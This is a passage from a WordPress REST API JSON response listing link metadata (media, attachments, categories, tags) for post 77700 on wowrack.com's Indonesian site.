ttps:\/\/www.wowrack.com\/id-id\/wp-json\/wp\/v2\/media\/77701"}],"wp:attachment":[{"href":"https:\/\/www.wowrack.com\/id-id\/wp-json\/wp\/v2\/media?parent=77700"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.wowrack.com\/id-id\/wp-json\/wp\/v2\/categories?post=77700"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.wowrack.com\/id-id\/wp-json\/wp\/v2\/tags?post=77700"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}